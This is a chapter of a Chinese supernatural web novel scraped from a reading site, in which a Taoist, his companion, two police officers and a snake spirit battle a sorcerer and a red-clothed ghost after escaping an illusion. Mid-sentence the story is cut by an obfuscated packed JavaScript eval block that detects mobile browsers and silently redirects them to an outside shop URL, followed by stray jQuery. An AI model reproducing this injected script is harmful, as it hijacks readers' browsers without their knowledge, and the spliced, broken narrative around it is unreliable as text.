文趣网 > 其他小说 > 阴间的鬼请矜持一点! > 42. 回归现实
    黑暗,窒息。

    全身都被柔软无形的东西挤压得喘不上气,鼻腔口腔都被堵塞了似的。

    意识瞬时清醒。

    劈头盖脸的冷雨冲醒了好梦未醒的人……不是雨,是冰冷的水,没过头顶的水!

    生死存亡的关头,林舒啸立刻挣扎着蹬腿划水,忽地感到腰间传来一股力量,将他拉离水面!

    气泡声如炸雷般突破听觉之后,又逐渐安定。

    林舒啸大口喘着气,眼睛被水迷住,耳畔是水声,风声,蝉鸣,十分祥和。

    他抬头,用力抹着脸上的水,脚下也踩到了平地,连忙稳住身子。

    “林哥,跟我走。”小道士的声音没有他这么狼狈。

    林舒啸的视野终于清晰。

    现下已经是夜里,月色一弯映入破碎的水,将山中的这片空地照得透亮,仿若覆盖着一层白瓷釉色。

    哪里有什么井?院子中央分明是个大水池,宋放歌正搀着他的腰,慢慢走向水岸。

    水池的前方是那古怪的屋子,侧面却有几道人影。

    柳八伏低身子护着秦子寂,他的影子却出乎意料的巨大,甚至展现出蛇尾的形状。

    与他相对的,是一个老头子,在林舒啸看过去的时候正巧向空中喷出一口朱红。

    另有两条鬼魂在打架,扭在一起,正是牛四和一名红衣女鬼。牛四被掐住脖子,发不出声音。

    那老头子是于观岭?林舒啸心中嘀咕,随即抿紧嘴,回想起他们在进入幻境之前,此行的目的。

    身上的水在滴答滴答地往下淌,夜风带着凉意穿透湿衣,让人不禁打个冷颤。

    立刻便有小道士将他护在怀中。

    打破安静对峙的是牛四。

    “为什么有警察在这!还有大蟒蛇!不……你,是你教我怎么夺舍,为什么!”他扒开红衣女鬼的手指,挣脱出去,立刻又被扑倒在地,只能气愤地大声叫嚷。

    女鬼轻声笑着,温柔可人,手上的动作凶得要命,照着牛四后脑就是一拳,几乎让他脑袋开花。

    “哪有为什么,我本来就是老于的老婆,任怀溪。”

    牛四悲鸣,“你!枉我相信你,我没有杀那混账是为了夺舍,你……”

    “还想什么夺舍呢,你本身就是个棋子而已,怎么配学夺舍。想毁尸灭迹,邪恶,愚蠢。”任怀溪毫不留情,右手一抖,指尖银光迸射,使出九阴白骨爪似的招式,用力掏入牛四魂体的后背,扯出团烂肉似的鬼气。

    牛四不及辩白,惨叫一声,瞬间化为粘稠的黑色液体,夹杂着大大小小的颗粒,像是滩沥青,逐渐渗入地面。

    任怀溪厌恶地将手中的鬼气甩掉。

    牛四鬼气破灭,只在须臾。

    罪恶之鬼,一生之罪尽化不堪入眼之物。播种下遍地腐朽的魂魄,不过是溃烂与恶臭的污秽。

    任怀溪看向池水中慢慢上岸的人,表情有些狰狞,特别是看到宋放歌努力护着怀里头哆哆嗦嗦的林舒啸的时候。

    她又神情复杂地扫视过柳八和秦子寂。

    “没想到你们两对都是狗男男居然破了我的八字同心阵……”

    八字同心阵?宋放歌恍然。怪不得柳八那边似乎也经历了什么,甚至露出了蛇的影子,而秦子寂的满脸悲壮有些可疑……咳。

    这个阵法像是同心锁,只有两两结对的组合破除各自组的阵法幻境才算是真正解除。

    如果林舒啸和宋放歌没能脱身,先出来的柳八他们也扛不住太久。

    但他们成功之后,阵法瞬间反噬于观岭,才出现了刚刚仰天喷血的老头子。

    秦子寂捂住脸,想起幻境的事,脸就烫得不行。

    “这鬼玩意儿别再说了!麻溜的束手就擒吧!八爷,你,你,哎!”

    “咦,你们……”柳八则挑挑眉毛。

    宋放歌十分自然地笑着,“啊,对啊,我们是一对,所以你俩也别吃飞醋,咱们明明都是好朋友……抓紧把他俩干掉吧。”

    任怀溪已然飘到于观岭身边,捏着自己的手腕轻轻旋转。

    “就说老李的小徒弟有几把刷子,你还不信。这回啊,居然还有些门路……”

    “少说几句。”于观岭冷冷地抹着嘴角,扫视着四个敌人,随后指向身后,“你们还有两个朋友在我手上,劝你们不要轻举妄动。”

    一层遮蔽视线的阴气揭开,于观岭身后赫然是孙禹和龚小豆。

    他们被阴气囚笼笼罩,正困惑着怎么有看不见的东西拦住他们的去路。

    “再透明的玻璃或者亚克力也是硬的,但这怎么,好像还有弹性,又看不到,也用不上力气。难道是高纤维材料?”孙禹正努力掰着阴气围栏,眼前突然见到了刚刚不存在的几个人。

    “八爷?”龚小豆惊讶地叫出声,“你,你们怎么像变魔术一样!”

    “宋道长他们怎么浑身湿漉漉的……”

    “孙法医,小豆,你们别慌,我们马上就救你们!”秦子寂不忘稳定军心。

    “秦警官怎么声音哑哑的脸好像还是红的……”龚小豆小声嘀咕。

    于观岭一挑唇角,“收!”

    阴气牢笼忽然开始缓慢收紧。

    孙法医感受到手上的阻力增大,形势不妙,这是什么不唯物主义的存在!

    龚小豆也察觉,立刻和孙法医一左一右地掰着阴气栏杆。但物理攻击对玄学来说作用十分有限。

    “妈呀,这个坏人一定有什么特殊的道具!”

    林舒啸摁着胸前湿透的保暖符冷哼,“就你有阴气?小道士……”

    宋放歌会意,立刻向秦子寂的方向喊起来。

    “秦警官,八爷!麻烦你们阻止那鬼行动。这老头子交给我们!”宋放歌随即拔剑,握住林舒啸的手,将他体内阴气释放到桃木剑外唤醒。

    同源。

    只有感受到阴气同源,林舒啸才敢这么干。

    同属于鬼王的阴气,共鸣产生的效果自然以强为先。林舒啸的阴气虽说已经流失不少,但到底是相当精纯的。

    阴气囚笼开始颤抖,停止了紧缩。

    于观岭见状,面色猛地变青,额头露出青筋。

    “来的竟然是你!”

    ——这人和鬼王有关系,但他不认识林舒啸,只认识鬼王的阴气,知道还有人同样携带鬼王的阴气。

    任怀溪的黑脸同样露出惊讶神色,她正想偷摸靠近牢笼,已经被柳八盯上。

    月下的蛇影如利箭射出,卷起了任怀溪的鬼魂,将她甩到面前。

    “啊啊啊你这冷血蛇,尾巴好恶心!”任怀溪被迫打了个滚儿,起来后不逃跑,却是先骂了起来。

    秦子寂黑着脸,抄起拂尘就抡她。只见那玩具似的拂尘忽然闪烁起月光似的银光,精准地抽到任怀溪的肩膀,把鬼狠狠拍到地面上。

    “尾巴多可爱!说我家蛇蛇坏话我可不客气!”

    “啧,我是蝮蛇,乌苏里蝮。”柳八的影子将任怀溪环绕,微微张口,竟是嘶嘶吐起红色的信子,连瞳仁也倏忽变成竖瞳。

    龚小豆和孙禹抠着空气,忽然看两位警官和空气打起架,秦警官用拂尘抽陀螺似的打个不停,还说着“尾巴”“蛇蛇”之类的怪词,八爷居然还口吐红信,简直像是一条真的蛇,不由得目瞪口呆,手上都忘记了吃劲儿。

    于观岭咬破食指,以血成符,眯起的眼中杀意弥漫。

    宋放歌也抓起怀中若干湿透的符咒,剑尖轻划,刹那间火焰冲天,将符纸烧出青烟阵阵,火光摇曳,一双金瞳光彩逼人。

    囚笼之中,压迫感时强时弱,孙禹和龚小豆的世界观受到巨大的挑战。

    孙禹捂着胸口,刚才那一下压得她差点把肺吐出来。

    “我靠,这世上真的有玄学……如果能活着回去,我就去烧香拜神仙!”

    “不可能不可能……”龚小豆抱

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17751306|209427||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着脑袋,“暗物质,一定是暗物质与波粒二象性,对,太赫兹,电磁波,还有量子力学!”

    “你这经念得真抽象……”孙禹弱弱道,随即瘫坐在地喃喃自语,同样开始念经,“来个神仙救命吧……玉皇大帝如来佛祖关二爷王灵官送子观音还是妈祖耶稣都行啊!”

    龚小豆用力摇头,“物理学化学和数学能解释一切!”

    血符起咒鬼叫嚣,桃木疾斩辟邪氛。

    双方僵持,阴气动荡,龚小豆被再次收缩的囚笼压得心口发紧,努力想活下去的愿望越发膨胀。

    龙虎不是笼中兽,困至极时自脱挣。

    “妖言惑众!”龚小豆大口吸气,眼睛涨得更红,“别想逼我相信不存在的东西!”

    一股龙虎之气骤然爆发,将浓重阴气逼退。

    众人也被那磅礴之气荡得向后摇晃,于观岭更惨,又是数口鲜血喷出,萎靡地半跪在地。

    “卧槽!红衣妖怪!卧槽!大蟒蛇!卧槽!黑雾降临!”

    龚小豆眼珠子都快掉出来了。

    “卧槽,原来真的存在,只是我看不见!”

    孙禹被吓得一愣一愣的,向前走了两步,“不是,你看到什么了……咦,好像没有奇怪的东西挡着我们……”

    “妈耶,我们头顶的黑雾怎么……怎么冲向林先生?!”

    看来是龚小豆天赋过人,竟然在危急关头冲开了天眼。

    秦子寂扶着柳八的肩膀,拂尘甩得虎虎生风,“小豆!在原地别动!保护好孙禹!”

    “鬼王,哈哈……真是挑了个让人意外的对象。挑谁不好,非要身边有个道士,还有警察和蛇妖!”于观岭仰天大笑。

    林舒啸暗想,那时候他还不是道士的。

    柳八听了这话顿时开始发飙,地下的蛇形黑影瞬间抽向于观岭。

    “去你大爷的蛇妖,老子是蝮,蝰科亚洲蝮属,毒蛇!”

    飓风径直把于观岭掀了个跟头。

    宋放歌趁此机会,落下一道天雷,在于观岭身边造了个圈儿。

    救命!无风无雨干打雷!龚小豆继续傻在原地,连忙并拢脚,谨防跨步电压。

    秦子寂有点好笑,顺顺柳八的后背,“知道了蝮蝮……哎哎,她要跑了!”

    柳八立刻将好几米长的尾巴缠回来,拖着任怀溪的红衣服反复摔打数下。

    “哕!恶心的蛇!”

    柳八的尾巴甩得更狠。

    秦子寂愣愣地摸着抽动的蛇身,“哎,原来你可以打到鬼!早知道上回让你把靳淘琰揍一顿,那二胡听得我鸡皮疙瘩掉满地……”

    “我爬过的乱葬岗可比你多,不想惹人生疑而已。”柳八把任怀溪压在地上,勉强算是消了气,终于停止折磨。

    任怀溪不成鬼样,嘴里直漏黑气。

    “我的拂尘今天能抽到她……也是八爷帮忙吗?我说呢,留下的痕迹怎么这么像爬行的痕迹……”

    “是八爷赏你的,可劲儿揍她,反正揍不死。”柳八心情好上许多,轻飘飘地看向任怀溪和于观岭,“胜券在握。但鬼气的根源尚不止于此。”

    “但我师傅的命案,根源就在这里。”

    秦子寂提着拂尘,盯住大半身子陷进土里的任怀溪,神情悲戚,“骗我师傅,害他性命,却不能用法律惩戒。”

    “阳间有警察和法官,阴间也有,这点你放心。现在尽管抽他就是了。”柳八吐着红色信子,似乎十分得意地看到任怀溪眼神中的抗拒。居然说我恶心……活该挨打!

    秦子寂一挑眉,“这样啊!小宋道长,那就有劳你了!借我用用你的葫芦,回头把这混账鬼交给判官吧!”

    柳八心情复杂,格外后悔。

    本来是想让秦子寂多抽她几下,却忘了这家伙是个从里到外讲规矩的好警察……

    呸,自己干什么非得提这句呢!

    这么想着,柳八把任怀溪的脑袋摁进土里。